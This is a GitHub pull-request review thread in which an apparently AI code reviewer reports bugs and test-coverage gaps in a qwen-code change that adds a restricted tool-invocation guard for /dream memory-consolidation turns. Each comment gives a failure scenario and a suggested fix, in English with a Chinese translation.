(or keep the export and fix the mock — see below) In agent-headless.test.ts, change the partial mock to vi.mock('../../utils/environmentContext.js', async (importOriginal) => ({ ...(await importOriginal<object>()), SYSTEM_REMINDER_CLOSE: '</system-reminder>' })); alternatively build the marker lazily in manual-dream-turn-policy.ts instead of at module scope.
中文说明
新增的 manual-dream-turn-policy 桶导出（barrel export）把对 environmentContext.js 中 SYSTEM_REMINDER_CLOSE 的模块顶层读取带入了未修改的 packages/core/src/agents/runtime/agent-headless.test.ts 的导入图，而该测试对 environmentContext.js 做的是缺少该导出的部分 mock —— 套件在收集阶段即失败，其 60 个测试一个都无法运行。
失败场景：任何会收集 agent-headless.test.ts 的 vitest 运行（例如 npm test --workspace=packages/core）：导入图到达 index.ts → manual-dream-turn-policy.ts:13 在部分 mock 上求值其 marker 模板字符串 → [vitest] No "SYSTEM_REMINDER_CLOSE" export is defined on the "../../utils/environmentContext.js" mock → 套件在收集阶段失败、零测试执行，整个 packages/core 套件以退出码 1 结束。已相对合并基线实测确认为本 PR 新引入（基线上该文件 60/60 全绿；本树上确定性失败，两棵树均做了单文件复现）；当前失败的 Test (ubuntu-latest, Node 22.x) CI 检查与之吻合。
建议修复：把 agent-headless.test.ts 的部分 mock 改为 vi.mock('../../utils/environmentContext.js', async (importOriginal) => ({ ...(await importOriginal<object>()), SYSTEM_REMINDER_CLOSE: '</system-reminder>' }))；或者在 manual-dream-turn-policy.ts 中延迟构建 marker，避免模块顶层读取。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| if ( | ||
| !isFirstTurn && | ||
| pendingTeammateMessages.length > 0 && | ||
| !hasUnsentToolResponse && | ||
| !activeGoalTurn | ||
| ) { |
There was a problem hiding this comment.
[Critical] Deferring the teammate drain out of mid-tool-chain turns removes the only mid-chain loop-detector reset: queued teammate messages no longer prevent a false LoopDetected on a polling leader — the exact failure the deleted code's own comment documented. — Failure scenario: headless team run where the leader polls task_list (same name+args every iteration) while teammates work. Each chain iteration sends SendMessageType.ToolResult under one unchanged prompt_id — not a top-level interaction, so loopDetector state accumulates (threshold 5 identical calls, keyed on name+args only, response content irrelevant). At the merge base the teammate batch was merged into the unsent entry and sent as SendMessageType.Teammate → loopDetector.reset(). With this PR the drain is gated on !hasUnsentToolResponse, so no reset happens mid-chain; after 5 identical polls LoopDetected fires and emitLoopDetectedResult() aborts all background agents and exits 1 — killing a healthy run with the teammate messages still queued. Probe-verified: 6 identical polls fire at the 5th without the reset; 12 stay clean when the base wiring's reset is restored.
Suggested fix: keep the deferral for policy-turn hygiene, but restore the reset for queued external input — e.g. when pendingTeammateMessages.length > 0 at the top of the loop while a chain is active, reset the client loop detector for the current prompt_id (the effect the Teammate send previously provided), or deliver the queued batch as its own Teammate send immediately after the pending tool-response send.
中文说明
把 teammate drain 从工具链中回合推迟出去，移除了链中唯一的循环检测器重置点：排队的 teammate 消息不再能阻止轮询型 leader 触发误报 LoopDetected —— 这正是被删除代码的注释原本记载的失败。
失败场景：无头团队运行中，leader 在 teammates 工作期间轮询 task_list（每次名字+参数相同）。链上每一轮都以同一个不变的 prompt_id 发送 SendMessageType.ToolResult —— 不是顶层交互，因此 loopDetector 状态持续累积（阈值为 5 次相同调用，仅按名字+参数作键，响应内容无关）。在合并基线上，teammate 批次会被并入未发送的条目并以 SendMessageType.Teammate 发出 → loopDetector.reset()。本 PR 中 drain 被 !hasUnsentToolResponse 门控，链中不再发生重置；5 次相同轮询后 LoopDetected 触发，emitLoopDetectedResult() 中止所有后台代理并以退出码 1 结束 —— 杀死一次健康的运行，而 teammate 消息还留在队列里。已用探针验证：无重置时 6 次相同轮询在第 5 次触发；恢复基线的重置后 12 次仍干净。
建议修复：保留延迟以保证策略回合的纯净，但为排队的外部输入恢复重置 —— 例如当链活跃且 pendingTeammateMessages.length > 0 时，在循环顶部对当前 prompt_id 重置客户端循环检测器（即 Teammate 发送原先提供的效果），或在紧跟的待发工具响应发送之后立即把排队批次作为独立的 Teammate 发送投递出去。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| fullTurnRuntimeView, | ||
| fullTurnToolInvocationGuard, |
There was a problem hiding this comment.
[Critical] Headless /dream combined with --json-schema is accepted (this PR adds non_interactive to supportedModes; nothing validates the combination) but can never satisfy the terminal contract: the dream guard denies structured_output, the denial carries no terminateTurn, and nothing bounds the resulting deny→retry loop. — Failure scenario: qwen -p "/dream" --json-schema '<schema>' — the dream guard returns EXECUTION_DENIED for structured_output (probe: {"allowed":false,"reason":"ManagedAutoMemory(structured_output: unavailable in this scoped turn)"}); the error response has no terminateTurn so the loop re-sends; the structuredOutputActive pre-scan keeps only structured_output calls in each batch; isBudgetExempt skips --max-tool-calls ticking for them; --max-session-turns defaults to unlimited. The memory-consolidation side effects complete, but the run can never succeed — it burns turns until the model gives up and emits text, then exits 1 with "Model produced plain text instead of calling the structured_output tool", blaming the model for a call the CLI itself denied.
Suggested fix: reject the combination up front (error when a submit_prompt result carries a toolInvocationGuard while config.getJsonSchema() is set), or exempt structured_output from the dream guard — it is the terminal contract tool, not real work, the same rationale isBudgetExempt already uses.
中文说明
无头 /dream 与 --json-schema 组合是被接受的（本 PR 把 non_interactive 加入了 supportedModes，且没有任何地方校验该组合），但永远无法满足终止契约：dream 守卫拒绝 structured_output，拒绝结果不携带 terminateTurn，且没有任何机制约束由此产生的「拒绝→重试」循环。
失败场景：qwen -p "/dream" --json-schema '<schema>' —— dream 守卫对 structured_output 返回 EXECUTION_DENIED（探针实测：{"allowed":false,"reason":"ManagedAutoMemory(structured_output: unavailable in this scoped turn)"}）；错误响应没有 terminateTurn，于是循环重新发送；structuredOutputActive 预扫描使每批只保留 structured_output 调用；isBudgetExempt 让这些调用不计入 --max-tool-calls；--max-session-turns 默认无上限。记忆整合的副作用会完成，但运行永远无法成功 —— 它会一直烧回合直到模型放弃并输出纯文本，然后以 "Model produced plain text instead of calling the structured_output tool" 退出码 1 结束，把 CLI 自己拒绝的调用归咎于模型。
建议修复：在入口处拒绝该组合（当 submit_prompt 结果携带 toolInvocationGuard 且 config.getJsonSchema() 已设置时报错），或者把 structured_output 排除在 dream 守卫之外 —— 它是终止契约工具而非真实工作，与 isBudgetExempt 已有的豁免理由一致。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| if ( | ||
| submitType === SendMessageType.Retry && | ||
| lastPromptToolInvocationGuardRef.current | ||
| ) { |
There was a problem hiding this comment.
[Critical] A failed Ctrl+Y retry of a guarded turn leaves the guard stamp keyed to a prompt-counter value that Retry never advances, so the next automated submission regenerates the same prompt_id and runs under the manual-dream tool policy. — Failure scenario: /dream errors → the stamp survives (the final clear is gated on !lastPromptErroredRef). Ctrl+Y regenerates sessionId#(N+1) and re-stamps it here; Retry is not in the startNewPrompt() set (UserQuery/Cron/Teammate only), so the counter stays N+1, and the retry's error path neither clears nor restores the stamp. Before the user's next typed query (the only path that clears the stamp via replacesUserTurnGuard), any cron wakeup / notification / teammate drain / Goal turn passes prompt_id = undefined, regenerates the identical sessionId#(N+1), matches the stale stamp at the guard read (~3617), and its unrelated turn executes under the dream policy — EXECUTION_DENIED for everything outside the 7-tool surface (a Goal turn's get_goal/update_goal, todo_write, agent, non-read-only shell). If the colliding turn also errors, the retry ref is re-populated and another Ctrl+Y perpetuates the leak. Probe-verified and flipped: with startNewPrompt() also called on Retry, the colliding turn schedules without the guard.
Suggested fix: advance the prompt counter on Retry as UserQuery does (include Retry in the startNewPrompt() block), so no later submission regenerates the retry's prompt_id; alternatively key the retry stamp to a collision-free id carried through its continuations.
中文说明
受守卫回合的 Ctrl+Y 重试若再次失败，会把守卫戳记留在一个 Retry 永远不会推进的 prompt 计数器值上，于是下一次自动提交会重新生成相同的 prompt_id，并在 manual-dream 工具策略下运行。
失败场景：/dream 出错 → 戳记存活（最终清空被 !lastPromptErroredRef 门控）。Ctrl+Y 重新生成 sessionId#(N+1) 并在此处重新戳记；Retry 不在 startNewPrompt() 的集合内（仅 UserQuery/Cron/Teammate），计数器停留在 N+1，且重试的错误路径既不清空也不恢复戳记。在用户下一次键入查询（唯一通过 replacesUserTurnGuard 清空戳记的路径）之前，任何 cron 唤醒/通知/teammate drain/Goal 回合都以 prompt_id = undefined 提交，重新生成相同的 sessionId#(N+1)，在守卫读取处（约 3617 行）匹配到这个过期戳记，于是这个无关回合在 dream 策略下执行 —— 7 工具面之外的一切都是 EXECUTION_DENIED（Goal 回合的 get_goal/update_goal、todo_write、agent、非只读 shell）。如果相撞的回合也出错，retry 引用会被重新填充，再一次 Ctrl+Y 会让泄漏持续下去。已用探针验证并翻转：让 Retry 也调用 startNewPrompt() 后，相撞回合调度时不再携带守卫。
建议修复：让 Retry 像 UserQuery 一样推进 prompt 计数器（把 Retry 纳入 startNewPrompt() 块），使后续提交不会重新生成重试的 prompt_id；或者把重试戳记改为挂在贯穿其余轮的无冲突 id 上。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| type ToolInvocationGuard, | ||
| } from '@qwen-code/qwen-code-core'; | ||
|
|
||
| export { MANUAL_DREAM_TOOL_GUARD_MARKER }; |
There was a problem hiding this comment.
[Suggestion] The marker is shaped exactly like a <system-reminder> block (isSystemReminderContent(marker) → true, probe-verified), and the ACP continueLastTurn replay's reminder-dedup (Session.ts:3599-3617) treats the marker part alone as an already-present reminder, suppressing newly-applicable plan-mode/arena reminders for the resumed dream turn. — Concrete cost: /dream interrupted in non-PLAN mode (no real reminder persisted) → approval mode switched to PLAN → continueLastTurn computes [plan-mode reminder] but alreadyHasReminder is true off the marker alone → injection skipped → the resumed dream turn runs in PLAN mode without plan-mode framing, while an identical non-dream continuation receives the reminder. Both the headless site (nonInteractiveCli.ts:1048-1058) and this ACP site share the one core predicate; a fix keyed to only one site leaves the other open. The new test cannot catch this (its fixture puts a real reminder ahead of the marker and mocks YOLO).
Suggested fix: exclude the marker from the dedup predicate at both sites — e.g. a shared hasNonMarkerSystemReminderPart(parts) helper — and add a recovery-test variant whose orphan run carries only the marker while the continuation runs under PLAN, asserting the plan-mode reminder is injected.
中文说明
marker 的形状与 <system-reminder> 块完全一致（isSystemReminderContent(marker) → true，已用探针验证），而 ACP continueLastTurn 重放的提醒去重逻辑（Session.ts:3599-3617）把仅含 marker 的 part 当作已存在的提醒，从而抑制了恢复后 dream 回合本应新注入的 plan-mode/arena 提醒。
具体代价：/dream 在非 PLAN 模式下被打断（未持久化真实提醒）→ 审批模式切换为 PLAN → continueLastTurn 计算出 [plan-mode reminder]，但 alreadyHasReminder 仅凭 marker 就为 true → 跳过注入 → 恢复的 dream 回合在 PLAN 模式下运行却没有 plan-mode 框架说明，而相同的非 dream 续轮却能收到提醒。无头站点（nonInteractiveCli.ts:1048-1058）与本 ACP 站点共用同一个核心谓词；只修其中一个站点会留下另一个。新测试无法捕获该问题（其夹具把真实提醒放在 marker 之前且 mock 为 YOLO）。
建议修复：在两个站点都把 marker 排除出去重谓词 —— 例如共享的 hasNonMarkerSystemReminderPart(parts) 辅助函数 —— 并新增一个恢复测试变体：孤儿运行只携带 marker、续轮在 PLAN 模式下运行，断言 plan-mode 提醒被注入。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| ); | ||
| }); | ||
|
|
||
| it('defers teammate input until the guarded tool-result chain ends', async () => { |
There was a problem hiding this comment.
[Suggestion] The new !activeGoalTurn half of the teammate-drain deferral condition (nonInteractiveCli.ts:2153) has no test coverage — mutation-verified: deleting that condition leaves all 126 tests in this file green. — Failure scenario: probe-proved with an active Goal plus a teammate message pending at a Goal-segment boundary (the terminateTurn branch just dequeued the next Goal turn: activeGoalTurn set, hasUnsentToolResponse false): the mutated tree splices the teammate batch and overwrites currentMessages — the Goal continuation context is never delivered and the teammate text goes out as a goal-permit send; the PR tree sends them correctly in 3 sends. The only teammate-deferral test prepares no Goal, and the only Goal test queues no teammate messages, so a regression dropping !activeGoalTurn ships green.
Suggested fix: add a test combining prepareGoalState('active') with the teammate-deferral fixture: queue a teammate message before a queued runtime Goal segment starts, and assert the teammate text is not sent before the Goal chain finalizes and the Goal continuation send still carries buildGoalContinuationParts content.
中文说明
teammate-drain 延迟条件新增的 !activeGoalTurn 一半（nonInteractiveCli.ts:2153）没有测试覆盖 —— 已做变异验证：删除该条件后本文件全部 126 个测试仍然通过。
失败场景：已用探针证实 —— 活跃 Goal 加上在 Goal 片段边界处待投递的 teammate 消息（terminateTurn 分支刚出队下一个 Goal 回合：activeGoalTurn 已置位、hasUnsentToolResponse 为 false）时，变异后的树会把 teammate 批次 splice 进来并覆盖 currentMessages —— Goal 续轮上下文永远不会被投递，teammate 文本以 goal-permit 发送的形式发出；PR 树则以 3 次发送正确处理。唯一的 teammate 延迟测试没有准备 Goal，唯一的 Goal 测试没有排队 teammate 消息，因此删除 !activeGoalTurn 的回归可以全绿地合入。
建议修复：新增一个把 prepareGoalState('active') 与 teammate 延迟夹具结合的测试：在排队的运行时 Goal 片段开始前排入一条 teammate 消息，断言 teammate 文本在 Goal 链收尾前不会发送，且 Goal 续轮发送仍携带 buildGoalContinuationParts 内容。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| ); | ||
| }); | ||
|
|
||
| it('clears a slash-command guard before a queued Goal segment', async () => { |
There was a problem hiding this comment.
[Suggestion] No test verifies the guard clear in the terminateTurn && activeGoalTurn branch (nonInteractiveCli.ts:2334): mutation-verified — deleting that fullTurnToolInvocationGuard = undefined; leaves all 126 tests green. — Failure scenario: this test reaches that branch only when the guard is already undefined (the guarded turn emits no tool calls, so shouldFinalizeTurn clears first). Deleting the branch's clear leaks an expired /dream guard into the queued Goal segment's tool calls — goal tools outside the 7-tool surface denied with EXECUTION_DENIED — and every test still passes. The branch is reachable with a set guard (goal admission claims a guarded submission), so the clear is load-bearing — just untested.
Suggested fix: add a variant where the guarded turn itself executes a tool call whose response has terminateTurn: true while a Goal turn is active and a next Goal turn is queued, then assert the queued Goal segment's executeToolCall receives expect.not.objectContaining({ toolInvocationGuard: expect.anything() }).
中文说明
没有任何测试验证 terminateTurn && activeGoalTurn 分支（nonInteractiveCli.ts:2334）中的守卫清空：已做变异验证 —— 删除那行 fullTurnToolInvocationGuard = undefined; 后全部 126 个测试仍然通过。
失败场景：本测试到达该分支时守卫已经是 undefined（受守卫回合没有发出任何工具调用，shouldFinalizeTurn 先行清空）。删除该分支的清空会把过期的 /dream 守卫泄漏进排队 Goal 片段的工具调用 —— 7 工具面之外的 goal 工具被 EXECUTION_DENIED 拒绝 —— 而所有测试仍然通过。该分支在守卫已置位时可达（goal 准入会认领受守卫的提交），因此这行清空是承重的 —— 只是没有被测试。
建议修复：新增变体：受守卫回合自身执行一个响应携带 terminateTurn: true 的工具调用，同时 Goal 回合活跃且下一个 Goal 回合已排队，然后断言排队 Goal 片段的 executeToolCall 收到 expect.not.objectContaining({ toolInvocationGuard: expect.anything() })。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| expect.objectContaining({ | ||
| toolInvocationGuard: expect.any(Function), | ||
| }), |
There was a problem hiding this comment.
[Suggestion] This assertion proves only that SOME function is threaded into executeToolCall; the recovered guard is never invoked anywhere in the test, so a refactor substituting a permissive placeholder for recoverManualDreamToolInvocationGuard(...) ships green. — Failure scenario: recovery substituted with async () => ({allowed: true}) → the resumed dream turn runs unrestricted (arbitrary writes, non-read-only shell, sub-agent delegation) — defeating the entire purpose of marker-based reconstruction — while this test stays green, because any function satisfies expect.any(Function). The sibling slash-command tests pin guard identity via an injected vi.fn(); that is impossible here since the guard is constructed internally, which is exactly why a behavioral assertion is needed.
| expect.objectContaining({ | |
| toolInvocationGuard: expect.any(Function), | |
| }), | |
| expect.objectContaining({ | |
| toolInvocationGuard: expect.any(Function), | |
| }), |
then capture and exercise the guard: const { toolInvocationGuard } = mockCoreExecuteToolCall.mock.calls[0][3]!; and await expect(toolInvocationGuard({ callId: 'x', toolName: 'write_file', args: { file_path: '/outside-memory-root.md' }, signal: new AbortController().signal })).resolves.toMatchObject({ allowed: false }) plus one allowed: true case for a path inside the managed memory root.
中文说明
该断言只证明有某个函数被穿线进了 executeToolCall；恢复出的守卫在整个测试中从未被调用，因此把 recoverManualDreamToolInvocationGuard(...) 替换成一个宽松占位守卫的重构可以全绿地合入。
失败场景：把恢复逻辑替换为 async () => ({allowed: true}) → 恢复的 dream 回合将以不受限的工具面运行（任意写入、非只读 shell、子代理委派）—— 彻底违背基于 marker 重建守卫的目的 —— 而本测试仍然通过，因为任何函数都满足 expect.any(Function)。相邻的斜杠命令测试通过注入的 vi.fn() 固化守卫身份；这里由于守卫是内部构造的而无法这样做，这恰恰是需要行为断言的原因。
建议修复：捕获并实际执行该守卫：const { toolInvocationGuard } = mockCoreExecuteToolCall.mock.calls[0][3]!;，然后 await expect(toolInvocationGuard({ callId: 'x', toolName: 'write_file', args: { file_path: '/outside-memory-root.md' }, signal: new AbortController().signal })).resolves.toMatchObject({ allowed: false })，外加一个对托管记忆根内路径 allowed: true 的用例。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const continuationRequest = mockTurnRunFn.mock.calls[1]?.[1] as Array< | ||
| Part | string | ||
| >; | ||
| expect(continuationRequest).toContain(MANUAL_DREAM_TOOL_GUARD_MARKER); |
There was a problem hiding this comment.
[Suggestion] All four new continuation tests assert only marker PRESENCE on dream turns; no test asserts a non-dream turn's Stop-hook/steer/next-speaker continuation is marker-free, so an unconditional-stamp regression at any of the four client.ts sites ships green. — Failure scenario: mutation-run verified — replacing the non-Goal Stop-hook continuation's preserveManualDreamToolGuardMarker(...) with an unconditional marker prepend ships green: client.test.ts (325) + client-goal.test.ts (23) + manual-dream-turn-policy.test.ts (5) = 353/353 pass under the mutation (liveness-checked: the comparator passes with the mutation and fails on baseline). Polluted history then makes isManualDreamToolGuardTurn true for any later interrupted turn, so --continue/ACP resume applies the restrictive dream guard to an unrelated ordinary turn — EXECUTION_DENIED for ordinary tools.
Suggested fix: add one negative test mirroring the new blocking-Stop test: history whose last user turn is an ordinary prompt (no marker), a blocking Stop hook, and assert the captured continuation request not.toContain(MANUAL_DREAM_TOOL_GUARD_MARKER).
中文说明
四个新的续轮测试都只断言 dream 回合上 marker 的存在；没有任何测试断言非 dream 回合的 Stop-hook/steer/next-speaker 续轮不携带 marker，因此在 client.ts 四个调用点中任何一处把 stamp 改成无条件注入的回归都可以全绿地合入。
失败场景：已用变异运行验证 —— 把非 Goal Stop-hook 续轮处的 preserveManualDreamToolGuardMarker(...) 替换为无条件前置 marker 后仍然全绿：client.test.ts（325）+ client-goal.test.ts（23）+ manual-dream-turn-policy.test.ts（5）= 353/353 在变异下全部通过（已做活性检查：比较器在变异下通过、在基线上失败）。被污染的历史随后会让 isManualDreamToolGuardTurn 对任何更晚被打断的回合返回 true，于是 --continue/ACP 恢复会把受限的 dream 守卫套在一个无关的普通回合上 —— 普通工具被 EXECUTION_DENIED。
建议修复：新增一个镜像 blocking-Stop 测试的负向测试：历史的最后一个用户回合是普通提示（无 marker）、存在阻塞式 Stop hook，断言捕获的续轮请求 not.toContain(MANUAL_DREAM_TOOL_GUARD_MARKER)。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| expect.objectContaining({ | ||
| callId: 'continued-dream-shell', | ||
| status: 'error', | ||
| errorType: core.ToolErrorType.EXECUTION_DENIED, |
There was a problem hiding this comment.
[Suggestion] Both it.each "restores the /dream guard" tests exercise the recovered guard only on a denial input, so a deny-all substitute for recoverManualDreamToolInvocationGuard(...) ships green — the over-restrictive mirror of the expect.any(Function) gap in nonInteractiveCli.test.ts. — Failure scenario: mutation-proved — replacing createManualDreamToolInvocationGuard(...) in tool-invocation-guards.ts with a deny-all stub keeps both tests green (EXECUTION_DENIED recorded, execute never called — byte-identical outcomes), while in production every interrupted /dream continuation (ACP continueLastTurn and headless continueInterrupted both route through this recovery) denies all tool calls — including legal writes inside managed memory — making continued dreams unable to do any work. Probe flip verified: an added allow-path case fails under the deny-all mutation and passes on the PR code.
Suggested fix: add a third it.each case where the continued turn streams a write_file to a non-pinned path under the mocked project's managed-memory root, and assert execute IS called (guard allowed it), alongside the existing denial case.
中文说明
两个 it.each "restores the /dream guard" 测试只在拒绝输入上执行恢复出的守卫，因此把 recoverManualDreamToolInvocationGuard(...) 替换成拒绝一切（deny-all）的替代实现可以全绿地合入 —— 这是 nonInteractiveCli.test.ts 中 expect.any(Function) 缺口的过度严格镜像。
失败场景：已用变异证实 —— 把 tool-invocation-guards.ts 中的 createManualDreamToolInvocationGuard(...) 替换为 deny-all 桩后两个测试仍然通过（记录 EXECUTION_DENIED、execute 从未被调用 —— 结果逐字节相同），而在生产环境中每一次被打断的 /dream 续轮（ACP continueLastTurn 与无头 continueInterrupted 都经由该恢复路径）会拒绝所有工具调用 —— 包括托管记忆内的合法写入 —— 使继续的 dream 无法做任何工作。已做探针翻转验证：新增一个允许路径用例后，在 deny-all 变异下失败、在 PR 代码上通过。
建议修复：新增第三个 it.each 用例：续轮流式发出一个对 mock 项目托管记忆根下非 pinned 路径的 write_file，与现有拒绝用例并列，断言 execute 被调用（守卫放行）。
— qwen3.8-max via Qwen Code /review (v0.21.10)
# Conflicts: # packages/cli/src/acp-integration/session/Session.test.ts # packages/cli/src/acp-integration/session/Session.ts
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed. Suggestions are inline.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not explored to full depth (tool budget reached): "PR #8357 (QwenLM/qwen-code) threads a turn-scoped…": none — all planned checks completed within budget.; "PR #8357 (QwenLM/qwen-code) threads a turn-scoped…": none — all planned checks completed within budget; a full npm run typecheck was skipped as low-value (CI-owned), not a skipped review layer.; "PR #8357 (QwenLM/qwen-code) threads a turn-scoped…": did not exhaustively trace waitForReservationSettlement rejection behavior between the guard clear and lastPrompt update in submitQuery (appears non-rejecti…; "PR #8357 (QwenLM/qwen-code) threads a turn-scoped…": I did not exhaustively trace daemon session-resume serialization to confirm the exact persisted shape of a failed /dream model request (transcript modelReque….
Test Plan (not a blocker): src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more.
中文说明
仅完成部分审查，审查缺口已披露。 建议见行内评论。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未探索到全部深度（达到工具调用预算）："PR #8357 (QwenLM/qwen-code) threads a turn-scoped…"：none — all planned checks completed within budget.；"PR #8357 (QwenLM/qwen-code) threads a turn-scoped…"：none — all planned checks completed within budget; a full npm run typecheck was skipped as low-value (CI-owned), not a skipped review layer.；"PR #8357 (QwenLM/qwen-code) threads a turn-scoped…"：did not exhaustively trace waitForReservationSettlement rejection behavior between the guard clear and lastPrompt update in submitQuery (appears non-rejecti…；"PR #8357 (QwenLM/qwen-code) threads a turn-scoped…"：I did not exhaustively trace daemon session-resume serialization to confirm the exact persisted shape of a failed /dream model request (transcript modelReque…。
Test Plan（非阻断）：src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| ).resolves.toEqual({ allowed: true }); | ||
| }); | ||
|
|
||
| it('adds plan mode reminders when a recovered Dream has only its policy marker', async () => { |
There was a problem hiding this comment.
[Suggestion] R3-1: Rewriting this test dropped the only coverage for plan-mode reminder injection into a plain (marker-less) interrupted user-prompt replay. The deleted test ('adds plan mode reminders to an interrupted prompt replay') asserted that with ApprovalMode.PLAN a continued orphaned plain user prompt gets a system reminder prepended; the rewritten variant only exercises history carrying MANUAL_DREAM_TOOL_GUARD_MARKER, and no remaining test asserts the reminder for a non-Dream plain-prompt replay (the other PLAN test covers a ToolResult continuation; the DEFAULT-mode Retry test asserts no reminders). — Failure scenario: a future change conditioning reminder prepending on the Dream marker's presence (e.g. skipping the reminder when isManualDreamToolGuardTurn returns false) ships green. Suggested fix: keep the rewritten Dream-marker test and add back the plain case — history [{ role: 'user', parts: [{ text: 'do the thing' }] }] in ApprovalMode.PLAN, asserting the request is [{ text: expect.stringContaining(SYSTEM_REMINDER_OPEN) }, { text: 'do the thing' }] with no marker part.
中文说明
重写该测试丢掉了「计划模式提醒注入到普通（无 marker）被中断用户提示重放」的唯一覆盖。被删除的测试（'adds plan mode reminders to an interrupted prompt replay'）断言在 ApprovalMode.PLAN 下，被继续的孤立普通用户提示会被前置系统提醒；重写后的变体只运行携带 MANUAL_DREAM_TOOL_GUARD_MARKER 的历史，且没有其他测试断言非 Dream 普通提示重放的提醒（另一个 PLAN 测试覆盖 ToolResult 续轮；DEFAULT 模式的 Retry 测试断言无提醒）。失败场景：如果未来某次改动把提醒前置条件改为依赖 Dream marker 的存在（例如当 isManualDreamToolGuardTurn 返回 false 时跳过提醒），该回归将全绿通过。建议修复：保留重写后的 Dream-marker 测试，并补回普通用例——历史为 [{ role: 'user', parts: [{ text: 'do the thing' }] }]、ApprovalMode.PLAN，断言请求为 [{ text: expect.stringContaining(SYSTEM_REMINDER_OPEN) }, { text: 'do the thing' }] 且不含 marker 部分。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| if (toolInvocationGuard) { | ||
| scheduleToolCalls( | ||
| executableToolCallRequests, | ||
| signal, | ||
| modelOverrideRef.current, | ||
| toolInvocationGuard, | ||
| ); | ||
| } else { | ||
| scheduleToolCalls( | ||
| executableToolCallRequests, | ||
| signal, | ||
| modelOverrideRef.current, | ||
| ); | ||
| } |
There was a problem hiding this comment.
[Suggestion] R3-2: The if/else duplicates the scheduleToolCalls call; the 3-argument else branch is semantically identical to passing the (undefined) guard as the 4th argument, since ScheduleFn's guard parameter is a trailing optional. The branch adds lines that encode no behavior. — Concrete cost: the two call sites can drift — a future argument or change applied to only one branch would silently diverge guarded and unguarded turns.
| if (toolInvocationGuard) { | |
| scheduleToolCalls( | |
| executableToolCallRequests, | |
| signal, | |
| modelOverrideRef.current, | |
| toolInvocationGuard, | |
| ); | |
| } else { | |
| scheduleToolCalls( | |
| executableToolCallRequests, | |
| signal, | |
| modelOverrideRef.current, | |
| ); | |
| } | |
| scheduleToolCalls( | |
| executableToolCallRequests, | |
| signal, | |
| modelOverrideRef.current, | |
| toolInvocationGuard, | |
| ); |
中文说明
if/else 重复了 scheduleToolCalls 调用；三参数的 else 分支与把（可能为 undefined 的）守卫作为第 4 个参数传入在语义上完全相同，因为 ScheduleFn 的守卫参数是尾部可选参数。该分支增加的代码不表达任何行为。具体代价：两处调用点可能漂移——未来只对其中一个分支应用的参数或改动会悄悄分叉受守卫与未守卫回合。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| if ( | ||
| context.executionMode === 'acp' || | ||
| context.executionMode === 'non_interactive' | ||
| ) { | ||
| recordDream().catch(() => {}); |
There was a problem hiding this comment.
[Suggestion] R3-3: Headless /dream (newly supported by this diff via supportedModes) records the manual dream run eagerly before the turn executes, so a failed headless /dream suppresses automatic dream consolidation for the 24-hour cooldown even though no consolidation happened. The interactive path records in onComplete after the turn completes; the eager branch pre-existed for ACP but this diff extends it to non_interactive. — Failure scenario: qwen -p "/dream" where the submitted turn then fails (provider/API error, abort, no progress): recordDream() has already stamped lastDreamAt, and scheduleDream returns skipped:'min_hours' for up to 24h (DEFAULT_AUTO_DREAM_MIN_HOURS), so no automatic memory consolidation runs project-wide even though none actually happened; lastDreamSessionId also skips same-session auto dreams. Suggested fix: mirror the interactive path for headless — run recordDream after the guarded turn completes (e.g. surface onComplete through runNonInteractive), or document the trade-off in the design doc.
中文说明
无头 /dream（本 diff 通过 supportedModes 新支持）在回合执行前就提前记录手动 dream 运行，因此一次失败的无头 /dream 会在并未发生任何整合的情况下，把自动 dream 整合压制长达 24 小时冷却期。交互路径在回合完成后的 onComplete 中记录；提前记录分支在 ACP 上早已存在，但本 diff 把它扩展到了 non_interactive。失败场景：qwen -p "/dream" 提交的回合随后失败（provider/API 错误、中止、无进展）：recordDream() 已写入 lastDreamAt，scheduleDream 在最长 24 小时内（DEFAULT_AUTO_DREAM_MIN_HOURS）返回 skipped:'min_hours'，项目范围内的自动记忆整合都不会真正运行；lastDreamSessionId 也会跳过同会话的自动 dream。建议修复：为无头模式对齐交互路径——在受守卫回合完成后再运行 recordDream（例如把 onComplete 穿透到 runNonInteractive），或在设计文档中明确记录该取舍。
— qwen3.8-max via Qwen Code /review (v0.21.10)
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not explored to full depth (tool budget reached): "PR #8357 (QwenLM/qwen-code) extends deterministic…": I did not verify speculation's trigger conditions (whether it runs interleaved during an active dream turn) — dissolved on the gate analysis anyway (writes go t…; "PR #8357 (QwenLM/qwen-code) extends deterministic…": did not trace speculation's trigger conditions (whether it runs interleaved during an active turn) — dissolved anyway by the gate analysis above.; "PR #8357 (QwenLM/qwen-code) extends deterministic…": did not run the test suite (review-only scope; relied on reading the test sources cited above).; "PR #8357 (QwenLM/qwen-code) extends deterministic…": none — all checks above completed within budget; I did not run the test suites (static review only), and diff content past line 2775 belongs to other chunks.; "PR #8357 (QwenLM/qwen-code) extends deterministic…": none — all checks I started were completed (~12 tool calls used)., and 32 more.
